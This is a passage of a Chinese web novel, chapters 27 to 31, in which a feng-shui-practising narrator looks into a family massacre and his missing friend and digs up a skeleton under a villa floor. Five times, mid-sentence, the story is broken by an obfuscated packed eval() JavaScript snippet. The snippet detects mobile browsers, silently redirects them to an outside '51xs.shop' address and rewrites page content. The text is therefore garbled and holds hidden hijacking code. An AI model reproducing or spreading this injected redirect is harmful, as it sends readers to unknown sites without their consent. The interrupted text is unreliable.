刘才东是物业保安经理，就像之前说的，在住的业主对他的评价都很好。 发生灭门案的是园区西北角别墅区的一户业主，室内五具尸体，岳父、岳母、女主人以及五岁女孩和三岁男孩，男主人失踪至今，下落不明。 因为地理位置和居住私密性的原因，直到物业寻找刘才东的时候，才发现这户业主被害，发现的时候已经是凶案发生的一周后了。 “怎么知道刘才东的失踪是跟这家人有关系的呢？”我问。 “因为现场留下的脚印和指纹是刘才东的，门口的监控还拍到了刘才东在案发前来过业主家。” 林翔慢条斯理的回我，好像在思考着现场的情节。 “能说说尸体的情况么？”我看看林翔，想了想又补充，“如果不符合规定，就算了。” 林翔想了想说：“既然你要帮忙，我很欢迎，这案子耽搁了一年多，什么进展都没有，如果你能找到有价值的线索提供给我们，也利于早日破案。” 我看看如此客观明理的他，脾气和秉性称我，心里暗暗决定，如果有机会，一定交他这个朋友。 林翔跟我说了现场大概的情况： 别墅是三层，进了入户门是门廊，往里走是客厅，沙发的位置是老头的尸体，胸口处一刀致命，那个血把茶台下边的地毯都浸泡了；旁边开放厨房的位置是老太太，刀伤很多，应该有过打斗，头骨和脸上那刀是致命伤；二楼的卧室里是两个孩子，应该是睡梦中就被结果了，都是刀伤，在脖颈处，也是一刀致命；三楼有个健身房，女业主尸体在三楼，什么都没穿，法医鉴定死前被性侵，身上遍布刀伤，失血过多而死。 “现场很血腥，因为时间有点久，味道简直就不用说了。老太太的脸被砍翻了，女业主的眼睛没闭，惊恐的睁着，嘴巴大张。最可怜的是孩子，什么都不知道呢，就没命了。”林翔表述着自己的感受。 第二十七章 荟萃亭 我默默的听着，心里很难过，这是什么样的凶手会这么凶残呢！ “我们怀疑刘才东是因为这几处尸体旁边的脚印经鉴定都来自于他那双鞋子，根据脚印的深浅、着力，判断出的身高体重特征也和他一样。尤其三楼女业主那个跑步机上，还有他的指纹。不过，奇怪的很，这个大活人就这么凭空消失了。”林翔不耐烦的点了一根烟。 “林警官，你也怀疑刘才东是凶手吗？”我想看看他怎么想。 “我只看重证据，没有个人主观判断在里面，这个问题没办法回答你。”林翔还是不卑不亢的说。 他的回答，我是满意的，只有这样，才能公正的断出真相。 “我给你讲讲刘才东吧。我们在部队的时候，他是我们班的班长，家里兄弟姐妹多，他老大，因为要照顾弟弟妹妹，养成了特别有耐心、包容心强的性格。在一起那三年，我就没见过他发脾气，班里谁有了困难，他都第一个上去帮忙。更不用提救助那些流浪的小动物了。他年年都是我们连里的先进，没人说他不好。” 林翔看看我，吐了一口烟，说：“这能代表什么呢？你要告诉我他不是凶手？” 是啊，这些无法说服林翔，林翔是一个有经验的刑警，他只看重证据。 “林警官，谢谢你的知无不言，我会证明给你看的。另外，汤药熬完要按时服用，这一剂喝完，我要给你把脉，根据恢复情况调药，到时记得找我。”说完我就要起身告辞。 “向荣，这个事情特别感谢你，如果没有你的提醒，这个病很可能就耽误了。我家里还有老父老母，我的身体不敢垮啊！”林翔感慨的说。 “我能理解，我也和你一样，家中有父母等着我尽孝。今天就先这样吧，我也不多打扰你了，告辞。” 林翔把我送到办公楼门口，我们互道了再见。 从刑警队出来以后，我的心情很沉重，脑海里一遍遍的回放着林翔跟我讲的现场。 对于这种连老人和孩子都不放过的凶残行为，我是一点都不能容忍的。 从小我就嫉恶如仇，更何况这一次还牵扯了刘才东。 我给王敬之打电话：“师哥，下午去一趟刘才东失踪那个物业小区呗，你忙不忙？” “去啊，我正等你电话呢！忙我也得先紧着你的事情啊，这小罗盘这么招我稀罕。”王敬之假惺惺的说。 “师哥啊，你想用它试试水就说你要试试水，可别拿我的事当挡箭牌噢，你说我这要万一当真了，盯上你不放，你可咋整。”我嘻嘻的笑着说。 “得！吕向荣你给我打住，给我发个地址，我们下午在那会和。”王敬之说完就挂了电话。 这家伙这么着急，我话还没说完呢，就给我撂了。 到了约定时间，王敬之已经在那等我了，我老远就喊：“师哥，你太好了，这么准时！” “你说说你，你求人办事儿，你还来的比我晚！”王敬之数落我。 我一到附近就感觉浑身不舒服，于是不再和王敬之开玩笑，正色的说：“师哥，你有没有感觉浑身不舒服？我一到这里就有这种感觉，从脚底板往上冒冷气，头发根都不趴着。” “倒是没你那么严重，头发还趴的好好的。但是确实感觉不太得劲儿。”王敬之说。 我看着他拿出罗盘，一边走一边看，我也跟着他往小区门口走。 我四下打量着，监控设备配备的倒是齐全，这样看来，监控器拍到的影像倒是假不了，一会儿去物业游说一下，看看当天的监控。 “吕向荣，这附近的地气太差了，磁场也不明亮，这个位置如果我没猜错的话，之前不是垃圾场回填的就是火葬场改的。”王敬之直接推断。 “师哥，你跟我想的一样，我第一次来的时候，也有感觉，这地下八成就是垃圾场回填的。火葬场这个倒是不大可能，现在入住率超过半数了，如果前身这么不吉利，早就传播在外、无人问津了。”我附和。 “吕向荣，这个位置不仅是垃圾场回填那么简单啊，你记不记得师傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158095|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过，地气不好都是什么原因导致的？”王敬之问我。 “地气不好，主要是周围环境因素导致的，比如地势低陷，四面被包围，且没有往下的出路，导致气场呈停滞状态，秽气沉积，无路可出；原属水田、耕地、古井、下水道、暗沟、暗河等地，未经清理干净就建房，导致房屋阴湿，不利居住？；阴暗潮湿的环境导致阳气不足等。”我看看王敬之，不明白他问我的意思。 “这就是了，这里被开发作为楼盘之前，一定是没有做好相关的勘验和填补工作，再加上原生环境也不好，所以就坏上加坏了。” 我秒懂，“师哥，有道理，这样看来，这里的大环境是地势低陷或者是暗沟的可能性很大。” 王敬之表示同意，说话间我们已经来到了凶案发生的别墅门前。 王敬之忽然就浑身一凛，好像发现了新大陆。 “师哥，什么情况？发现了什么？”我警觉的问道。 “啥也没发现，你好不好不要一惊一乍的。”王敬之竟然怪我。 “哎，我说师哥啊，明明我是看你一激灵，我是 担心你呀，你还反过来怪我，真是好心没好报。”我抱怨着。 看着被贴上封条的大门，还有紧闭的三层楼各户的窗户，我瞅瞅王敬之，意思咋办，进不去。 “吕向荣，你还想进去？你也不是警察，你进去要做啥？让我给你问问阿飘、断案？” “怎么的？有没有这个本事就看你了。”我刚他。 “你给我滚，你明知道那些都是不可能的，瞎骗人的东西，还拿出来开玩笑。”王敬之恼了。 我这个师哥，一遇到术数这类的事情就特别认真，开玩笑是不行滴。 “我知道不行，我就是和你开个玩笑。我想进去是想看看到底哪里有问题？也看看是不是能找到刘才东的蛛丝马迹。” “看刘才东的痕迹，这个你就死心吧，警察早就勘验完了，还等你？咋的，你不相信警察的手艺？”王敬之问我。 第二十八章 调查 “算了，先去物业看看监控设备吧。”我转身要走，王敬之却站在原地没有动。 “师哥，走啊，你发什么呆？”我着急的问。 “吕向荣你给我闭嘴，别吵吵。”王敬之恼了。 我立刻不敢说话了，偷偷的看着他。 看他又是半天没动静，我实在忍不住了，小心翼翼的拽拽王敬之的衣角，说：“师哥，到底咋的啦？和我说说呗，你要急死我啦！” 王敬之叹了口气，极为严肃的对我说：“这里有苦情痣的讯息。” “师哥，不会吧？这女业主死了，你在这找到前世那人儿了？”我晕晕的问。 王敬之的眼眶有些潮湿，慢悠悠的收好黄金罗盘，叹了口气说，“我从小就六亲缘浅，父母走的早，也没有兄弟姐妹，却偏偏要寻这么一个牵挂！” “师哥，你不要太悲观，你不是还有我这么个小麻烦陪着呢么！再说，我总觉得这些都是无稽之谈，我劝你不要太相信！”我嘿嘿笑着，想缓解王敬之突然而来的悲哀。 “师傅说今年是我要渡情劫的年份，有机缘的大致方位就是这里，没成想到了这里竟然有如此强烈的感应，到底是什么呢？这家的女业主什么情况，你详细和我说说。” 我看看急不可耐的王敬之，想着林翔和我说的女业主的死状，还是算了，是与不是都不要告诉他。 “我也了解的不太详细，你知道的，警察那是纪律部队，怎么可能什么都和我说。走吧，去物业办公室看看，兴许能看见监控。”我边说边指引着王敬之去物业。 其实我的心里也心潮澎湃的，王敬之的身世在我看来那就是可怜，用六亲缘浅来解释无非就是让他自己觉得好受一点。 哪个孩子不希望有疼爱自己的爸爸妈妈？不希望自己在外奋斗的时候，家乡有爸妈惦记着、关心着？ 这苦情痣就真的是“苦情”，听听那传说讲的，苦情痣的人此生只是为了找到前世的恋人再续前缘，要经过千辛万苦。 我不知道这些传说的真假，但是想想能有勇气跳到河里、等上千年煎熬 确实符合我师哥王敬之的气场，能够隐忍遭受这样的罪，也就是非他莫属了。 胡思乱想中，到了物业办公室，我大概看了一眼，就发现了问题。 这会儿正是下午2点—3点的时间，园区最容易出现问题的时间段，我一般都会在这个时间去巡视，可是这里的两个人这会儿正在打瞌睡。 我清了清嗓子，“二位小师傅，我想来打听个事？”我故意用了很大声，治治他们的瞌睡。 其中一个一下子被我吓清醒了，“谁？谁说话？” “是我，我叫吕向荣，刘才东是我哥。”我自报家门。 “东哥的弟弟？喂，醒醒，东哥家来人了！”这个人一边看着我一边推着另一个睡着的。 另一个年纪稍微大一些，听说是东哥家亲戚，立刻换了一张特别热络的脸，“你是东哥弟弟？你怎么才来噢！” 他们给我和王敬之让座，年纪稍大的这个开始动容，一个男的，谈起刘才东竟然要抹眼泪。 “警察怀疑才东杀了人，那怎么可能呢！才东在这里工作这两年，兢兢业业，热心肠，谁家装修搬个东西，缺人手了，他都帮忙，这里的业主没有不认识他的，他跟老谢那家人无冤无仇的，杀他们干嘛！” 年轻一点的也接过话茬说：“是啊，东哥失踪那天，是我当班，他告诉我要去老谢家看看，也没说具体看什么事，结果这一走就再也没见着人。” “大哥，能不能让我看看那天的监控？”我跟年纪大一点的商量。 他想了想，然后说：“警察已经都拷贝走啦，告诉我们不能再给任何人看。” 那个年轻一点的说：“王哥，咱们不是有备份吗？也不在主机上，给他看看咋了？他属于失踪者家属。” 年纪大的想了想说，“行！” 我和王敬之将那天园区各个位置的监控都看了一遍，也看到了东哥那天从物业到凶案现场，一直心事重重的，时不时的还向后看。 我觉得很可疑，尤其到了业主家门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158096|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他不是按门铃等着开门，而是在门口徘徊了很久，后来门在里面打开，他犹豫了一下才进去的。 警察应该也看到这些细节了，怪不得林翔没有说一定是刘才东，也没有说不是刘才东，确实不好判断。 “师哥，你看出啥没？” “刘才东的表现有点诡异，他是不是有什么心事啊？”王敬之问。 “两位师傅，我哥那段时间遇到点啥事没？”我问两个保安。 两个人你看看我、我看看你，都默默的摇头。 年纪小一些那个说：“我们这个楼盘销售的不好，现在也就进驻了60，大半部分还都空着呢。时不时的有人带客户来看房，我们这里都要登记。东哥管理物业那是井井有条，呶，你看看，我们这登记簿啥都有，可详细了。” 另一个年纪大一些的说：“我比才东来这里还要早半年，才东是个认真的人，很多物业之前没有的规矩都是他确立的，跟他干，特别有劲头。尤其看着管理的井井有条的环境，特别开心。 ” “哎，王哥，这小子说有没有啥事发生，我倒想起一件事，老谢家出事前一个月，东哥是不是跟他家女业主出过一趟晚门？”年轻的说。 我听懵了，“小伙，你说的晚门是啥意思？” “就是晚上的时候，那个女业主让东哥领着去了一个地方，然后又平安给带回来的，送到家门口。”年轻的给我解释。 那个叫王哥的赶紧补充：“是啊是啊，有这么回事，那个女业主因为这事还给上边领导写表扬信了呢！坏了，这件事咱俩怎么没想起来告诉警察！” “你知道我哥带女业主去哪了、做什么吗？”我问。 “去哪了不知道，东哥没说，他的嘴可严了，从来不东家长李家短的议论业主的事。办事的话，好像是当了一把保镖，取回来一个什么东西。” 我在心里研判着整件事的可能性，看着监控里明显消瘦的刘才东，心里好难过。 “哥哥，你到底哪去了？给我个指示吧！”我在心里呐喊着。 第二十九章 原址垃圾场 王敬之碰了碰我，意思该回去了，我看看时间，确实不早了。 “两位师傅，谢谢你们，这个是我的电话，如果以后有什么关于我哥的事情，还得麻烦你们给我打电话。”我把自己的名片递给他们。 “吕向荣？你是才东的弟弟，咋姓吕呢？”那个叫王哥的疑惑着问。 “他是我妈那边的亲戚，他爸姓刘。”我扯个谎。 “你也是干物业的？还是个大官儿。”年纪轻的说。 “是啊，我也是物业，同行，所以以后有啥事，直接和我说，咱们这行的一些门道，我略懂一二。” “王哥，咱们这发生的那事，要不要和他说说？” 那个叫王哥的怼了怼年轻的，小声嘀咕：“你小子这破嘴，一点没把门的，上边领导不让说，出事你担着啊？” 他们的对话虽然声音小，但是我是听了个真真切切，知道了皮毛、却不知道内容，给我心痒痒的，实在忍不住问了出来 “两位师傅，听这话这件事应该挺新奇，你看你们都说一半了，不说全，我这心里得多难受啊，给我讲讲呗，我一个外人，还能有啥影响咋的。” 王敬之也是和我一样的态度，也不着急走了，看样子他也被这里的事情给折磨住了。 年纪轻的小伙明显惧敛年纪大的，低头不吭声，年纪大的想了想，忍不住了，“好吧，我一直觉得这事可能跟才东的事有关系，要不我也不能说，和你说了，你就当听一乐，可千万别说是我告诉你的，不然我俩这饭碗都得打。” “好的，王哥，你放心，这个分寸我懂。”我赶紧保证。 事情是这样的，这块地基在没开发盖楼之前是一处垃圾场，咱们这个地方属于城市最西边，西边大部分的垃圾都运送到这个位置进行处理。 开发商说这里距离飞机场近，适合开发高端小区，所以就跟政府申请把垃圾场挪走，开发楼盘。 工程开始以后，回填完基坑，进行打桩的时候，有一处地方汩汩冒水，水很臭，就像是那种憋了很久没得到释放的。 项目经理跟技术负责人研究半天不敢随意敲定解决方案，就汇报给了开发商，开发商和设计院的人来了以后，勘验半天说等等，等水都冒完再研究。 那水足足往外冒了四五天，都给弄出了一条小脏水沟来，水冒完以后，项目经理过去一看，出水的位置是一处深不见底的深坑。 征得开发商和设计院的同意之后，他们把那个坑也填了，根本也没去管里边为什么冒水，到底还有没有需要清理的东西。 结果，出水那个位置盖起来的房子，谁去看都不爱买，都说有臭味，空气不好，那边距离老谢家可近了，就间隔了两栋别墅。 “冒出的水是什么颜色的？”我急急的问。 “轰黑轰黑的，恶臭难闻。”王哥回答。 这时候年轻的也插嘴了：“它要是就这样还好了，后来还出了不少事呢。老谢家前两栋那个别墅一开始卖出去了，那个女业主入住一个月后，家里总是反臭，她成宿成宿的失眠，头发大把大把的掉，后来身体实在受不了就搬走了。现在房子空着，没人住也卖不出去。” 我瞅瞅王敬之，王敬之秒懂，知道我想去探探这家别墅，跟我比了一个ok的手势。 “行，两位师傅，今天时间不早了，我们先走了，谢谢你们今天的知无不言。” 我着急的跟他们告辞，想着别等天黑以后去探路，天亮好办事。 “师哥，这样的原址环境直接盖房，居住者会患上失眠症、头疼病、精神萎靡，有的还能患上风湿痛，确实有可能啊，这些冒出的黑水，证明之前地下的不利因素没有处理干净。” 王敬之点头表示赞同。 “吕向荣，一会儿我们好好勘测一下地势，如果有问题我们再研究。”王敬之说。 我想了想，这套本事很久没拿出来练练了，正好借这个机会看看自己有没有手生，于是点头表示同意。 我们到了那栋别墅前，来的时候那种浑身不舒服的感觉发散到了极点，我努力让自己平静下来，拿出自己的罗盘，先进行勘察。 问题的地点应该在室内的西北角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158097|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，跟王敬之绕到西北角处，甚至可以闻到似有若无的腐败气息。 “吕向荣，咱们要不要进去？” “师哥，我看看窗户能不能撬开，你先在外面等我。”王敬之递给我一个要小心的眼神。 别墅因为是新盖好、没住多久的，窗户也没有锁，仅仅是关上而已，我没费力气就来到了屋内。 下午四点左右，阳光已经基本没有了，屋里十分昏暗，我推测着出现问题的方位，鼻子里已经满满的腐败气息，我懊悔没有带个口罩进来。 这时候王敬之看我半天没有动静，也从窗户爬进来，看我站在那不说话，走过来问我。 “吕向荣，怎么说？” “师哥，这反臭太浓烈了，得挖开看看是不是还有污水没排净。” “挖？我俩现在手无寸铁的，咋挖？况且这里现在属于私人财产了，我们不能想怎么做就怎么做啊。” “是，我知道，所以今天我们得回去了， 想办法看看怎么能挖开看看，再来。” 我和王敬之往回走的路上，我想到了主意。 “师哥，这事论本质算是好事一件，我们只要说服这房子的业主就可以挖了，想挖多深就挖多深。”我征询着王敬之的意见。 “你计算好需要挖的具体深度，咱们说服人家业主，也得给人家说清楚，要是得把楼体都动喽，我估摸她不能同意，物业也不会同意。” 我点头表示赞同，但是怎么找房子的女业主成了问题。 我想了想，只能通过物业的王哥要到女业主的联系方式，然后再下一步。 可是该怎么要呢？业主信息都是保密的。 只好从买房子的借口下手了。 “王哥，我是刘才东的弟弟，前几天去过你那里。”我在电话里热情的招呼。 “哦哦，我记得你，吕向荣，对吧？你的名字好记。”王哥也不生分。 “哎，对对，王哥，兄弟今天给你打电话是有一件事要拜托你。” “拜托我？我能帮到你什么啊？” 第三十章 开挖 “是这样的，我有个哥们儿，手里有俩闲钱儿，想把老爸老妈接城里来，在城郊买个大房子给他们住，听我说了你们那个小区的事情，就想去看看房。” “哦，这是好事啊，来嘛，我带你们看，想看多少看多少。”王哥明显很开心。 “王哥，事情要是这样不就简单了嘛，我朋友还是想要比市场价便宜点，你看你能给找个便宜的不，跟卖房子的一方能说上话的。”我提出需求。 “便宜？我跟你说，这小区现在的价格都不贵，现在就因为这个事、就我跟你说那个事，弄得整个销售行情都不好，一个月卖不出一套。”王哥老老实实的说。 我想了想说，“好吧，那我就直接说了，我朋友想买那天你说那个女业主装修完不住了的，他想和女业主联系联系。” “啊？你朋友是不是傻啊？你没告诉他那房子有情况吗？我怎么有点懵呢！”王哥说。 “哈哈，王哥，我朋友不信那些，这样的房子便宜，还不用再装修，他随时可以用，省心。” “哦，这样啊，好吧好吧，反正我是没有隐瞒，都告诉你们了，你们自己决定。我把她电话告诉你，你可不要说从我这里知道的。”王哥很爽快的给了我电话号码。 “您好，请问您是王宁姐吗？您有套房子在荟萃亭要出售。”我很有礼貌的问。 “是我啊，你是哪一位？”一个很好听的女声。 “是这样的，我想在荟萃亭买套房子，听说您的房子要低价出售，我想打听一下，如果属实的话，就去看看房子。” “你是怎么知道我要卖房子的呀？我没有往外发布啊。” “是辗转了几个朋友打听的，有熟人在荟萃亭住。”我还真不能实话实说。 “小伙，你是诚心买房子吗？我那个房价格可不低，是独栋别墅。”王姐还是不放心。 “是诚心买，姐放心，我不是没事儿来磨牙的。我老婆马上要生孩子了，我准备把岳父母都接过来有个照应。”我觉得我自己都成了社交大师了。 “要生小孩了呀！”王姐的声音从充满希望变成了犹豫。 “咋的了姐？您不卖孕妇家？还有什么讲究吗？”我好奇。 “小伙，姐姐我是做小买卖的，对交易前特别重视，啥事都讲在前面，咱都说好了，买不买再决定，这样你我都稳当，你说是不？” 我一听这大姐实在人啊，不错。 “对，王姐，我处事风格和你一样，这点咱俩挺投缘。我有个哥哥也姓王，你俩还是本家呢！我手里可选择的房还有俩，但是我一看这个房主跟我哥一个本家，我就觉得亲切，就想先看你的，没啥问题我直接就拍板。”我就咋好听咋说了。 “哈哈，小伙，你可真会说话，大姐爱听。行，那我就和你说说，你要是还想看，咱就约时间看房。”王姐的笑声王敬之都听得见。 他在旁边嫌弃的直撇嘴，那意思我这嘴太敢扒瞎了。 我瞪了他一眼，眼神回怼，“你自己不上，我上了，你还讽刺我，不地道。” “姐姐，具体什么情况，你和弟弟说，无伤大雅的都没问题，你放心。” “姐这个房邪性，如果不告诉你，我这心里不落忍，尤其弟妹还怀着孕，做损的事姐可不能干。这房子我花了几十万装修，白天也是阳光明媚、老豪了，但是就是一到晚上就睡不着觉，怎么的都不行。一开始的时候我没当回事，以为是换房子了亢奋。但是后来成宿成宿这样，身体受不了了，索性就搬出来了。这情况你可得考虑好，买不买不要紧，就当咱俩认识一回，没关系。” “王姐，弟弟不相信这些，你要是诚心卖，就让我去看看，万一能帮上你什么忙也说不定。”我信誓旦旦。 王姐在电话里还是有点迟疑的，毕竟没见过、也不认识我，太突然。 但是她知道，看看，她也不吃亏，于是我们就约好了时间过去看房。 “师哥，这次可都是你的本家聚那一块堆儿了，我猜你的机缘是不是也有这一层意思啊？”临行前我和王敬之闲聊。 “净瞎说，这纯属巧合。”王敬之明显不屑。 “巧不巧合的我不管哈，这回咱俩只许成功不许失败。我计算过，那个位置并不深，咱俩人一起挖应该就能实现，准备好工具就行。”我直接说目的。 “看你这话说的，只能是你掉链子，我稳的很！”王敬之不服。 “好，那就讲好了，既然我是主力，你可得听我的，到时候不许跟我闹。万一遇到你那个什么前世，你得提前知会我。”我说出了自己担心的部分。 “你担心这个啊？你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158098|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心吧，我王敬之还知道哪轻哪重。” 我们见到王姐的时候，都吃惊不小，这个王姐不论从身高、胖瘦到长相，那都是人中龙凤，太耀眼了，说是姐，看着比我和王敬之都年轻，搞得我俩都不好意思叫姐。 “你好，你就是吕向荣，我没认错吧？”王姐先伸出手，大大方方的跟我握手。 这么开朗自信的女人，真是太得我心了，“王姐你好，对，我就是吕向荣，这位是王敬之。” 我特意没有说他是我师哥，在这 么个冰雪聪明的女人面前，说了准露馅。 王敬之也腼腆的跟王姐握手，我这师哥啥都好，就是见着女人不知道该迈哪只脚。 “二位都这么年轻啊，这么年轻就能买这个价位的房子了，真是年轻有为啊！”王姐感叹。 我和王敬之假意打着哈哈，很快我们几个就来到了房子门前。 “王姐，你这个房子的位置不错，你买的时候挺贵的吧？”我问。 王姐一边开门一边说：“我这个房啊，是我老公他们开发的，倒是没花多少钱，哎！” 我听着她欲言又止，这是有“内容”啊，是啥呢？ 我和王敬之第一次来的时候，是跳窗进去的，屋里很暗，除了满屋子的晦气没什么别的发现。 今天走正门进去，房门一打开，就感到一股冲脑门子的腐臭传来，差点给我熏个跟头。 “王姐，这屋里反臭这么厉害，你没找人修修啊？”我探询的问。 “找过，但是都说不知道是哪里，下水的防臭做的都可完备了，但就是臭，怎么弄也不管用。”王姐老实在了，一点也不隐瞒。 我一看时机成熟了，“姐，我和我哥就是干这些防水、地漏工程的，你要是信得着，我俩给你瞅瞅？我俩瞅完了、没问题，正好我们也安心了。” 王姐咔吧咔吧眼睛，有点怀疑的说：“你们，还会这个？我请了好多师傅都弄不了。” “姐，你就在这看着，你怕啥？我俩可能要动土，看看是不是哪里有漏点啥的。修好了我们都放心了，修不好，我还给你恢复原样，我出钱，行不行？”我拍着胸脯说。 “好吧，那你们就试试吧，我同意！”王姐爽快人。 我朝着王敬之一招手，“开挖！” 第三十一章 一具尸骨 得到了授权，我和王敬之拎着装工具的布袋就进了里间。 这个装修确实豪华，得亏我们带了适用于地砖的工具，我俩穿戴整齐，王敬之给了我一个眼神，意思“这一钻头下去，可就全看你的本事过不过硬了。” 我根本没理他那茬，直接开干。 一开始的时候很困难，地砖、水泥、沙土，我俩足足整了将近一个小时，累的一身汗。 这时候我听见挖的坑里有水声，紧接着又是一股子恶臭蔓延开来。 “师哥，污水还是没有排净，我们去外面歇歇吧。” 王姐正在外面焦急的等我们，看我们出来了，赶紧过来问：“怎么样了？两位弟弟。” “下边有很多污水，我们出来等那些污水排干净，再进去找有没有漏点，补好后封土回填，估摸就不会再反臭了，没有这些味儿了，睡觉那些问题应该都能解决。”我回。 王姐惊奇的说：“弟弟，没想到啊，你们俩这么年轻，进去就这么一小时，就能找准有问题的位置，厉害啊！” 我不好意思的笑了笑，王敬之也嘿嘿嘿的没敢说话。 在房子外面唠了能有半个多点儿，我们返回去看看情况进展。 进屋后感受不到那股子不舒服的抓狂劲儿了，污水不再往外冒，但是屋里都是秽臭。 “王姐，你把全部的窗户都打开，阳长则阴消，开窗、开门纳气，室内可以阴阳平行，气场稳定，有利于环境的修复。” 王姐开门开窗的时候，我下到坑里，坑底不平，我摸到一个头骨，紧跟着还有疑似腿骨之类的，糟了，得报警！ 于是我又回返爬出坑去，气喘吁吁的坐在坑边说着我的发现，“王姐，坑下边有人骨头”我怕她害怕，准备一点点说。 “啥？我的天！我说呢么，怎么一在这住就浑身不舒服。为啥有人骨头呢？难道是凶杀案？”王姐吃惊的说。 “很有可能，我们得报警。”我拿出电话拨打了110。 打完报警电话后，我看着王姐没着没落的样子，决定宽慰宽慰她。 “王姐，别怕，等警察来清理走了，这房子一定是可以旺你的。” 王姐狐疑的看着我，问：“你可别安慰我，发现了这么个东西，怎么反倒旺我了？” “这个房子从地理位置、户型和朝向上讲，都是很好的，反臭和尸骨的问题一解决，你在乾位摆放一个大的鱼缸，饲养锦鲤，日后定会越来越顺。”我如实相告。 “哟，向荣兄弟，你还懂这些？真没看出来，你要是这么一说，那你今天做的这些我都放心了，等于是帮我解决了一个大问题呀！” “姐，你就相信我，准没错，放心啊！” 我依然笑眯眯的看着王宁，解决了这么一个大问题，我也很高兴。 警察来的很快，带队的果然是林翔，“哟，吕向荣，你也在啊？是你报的警吗？” “林警官，你好，是我报的警。我们帮这位女士维修室内地砖的时候，发现了一具尸骨，稳妥起见，就先报警处理了。” “吕向荣，你那物业经理不干了？怎么来帮人搞装修了？你和这房子的主人是怎么认识的？” 我犹豫着不知道该不该和林翔实话实说。 “怎么了？吕向荣，做假证可是违法的，你要想清楚。这个小区是发生灭门案的小区，你不会是上这来找线索来了吧？”林翔狐疑的看着我。 “林警官，我怎么可能做假证呢，我这不是发现尸体以后，第一时间就报警处理了吗？不过，我确实是想找找线索。”我坦然的看着林翔。 “你这简直就是胡闹！灭门案不是发生在这里，也没有证据显示刘才东在这里消失，你挖人家地面做什么？”林翔激动的说。 “林警官，你别激动啊，我做事肯定是有原因的，而且，房子的业主也在，如果她不同意，我也不能挖啊，你说是不是？” 我很平静的看着林翔，因为我心里有底，我的行为没触犯法律。 这时候盘问王姐的警察过来和林翔汇报情况。 林翔听完汇报， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158099|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一副若有所思的表情向我走过来，我很淡定的看着他。 “吕向荣，这位大姐说你是他弟弟，来帮她看房子的，还帮她解决了房子总是反臭的问题，结果发现了地下有骨头。” 我惊异着王姐的聪明劲儿，省了好多口舌功夫，王敬之这个本家确实不错。 “是呗，你说我咋能随便刨人家地呢，尤其这么豪华一个大别墅，谁敢？”我嘿嘿的笑。 “我就奇了怪了，你解决反臭的问题不去下水位置，为什么是在这么个挡不挡、正不正的位置？” “林警官可真的是当警察的，啥都能发现问题。不瞒您说，这个位置是我推算的，我就认为这里是发生臭味的根源。”我双眼炯炯有神的看着林翔。 “吕向荣，我虽然是个刑警，但是对这些反臭的事情也不是一窍不通，这屋里的装修、包括装修下面的原始建筑设计，这么厚的地表，还能反臭？其二，反臭一定是得有通到上面的口子，你这个口子呢？你推算的根据是什么？” 林翔一口气问了我好多问题，我心里 在做激烈的斗争，该如何给他一个有说服力的解释。 “林警官，这就是之前我和你说过的，我除了中医之外擅长的本事，怎么推演，那是个复杂的过程，一句两句说不清楚。” 我还是一副从容的表情看着他，林翔则耐人寻味的看着我，我们两个互相琢磨着对方。 “吕向荣，你可真让我刮目相看，自从认识了你这个人，在你身上发生的事情都让我匪夷所思。你说你会中医治病，也就罢了，中医存在于我们的生活中，大家都知道的事。但是你说这个推算，到底咋回事？”林翔很质疑。 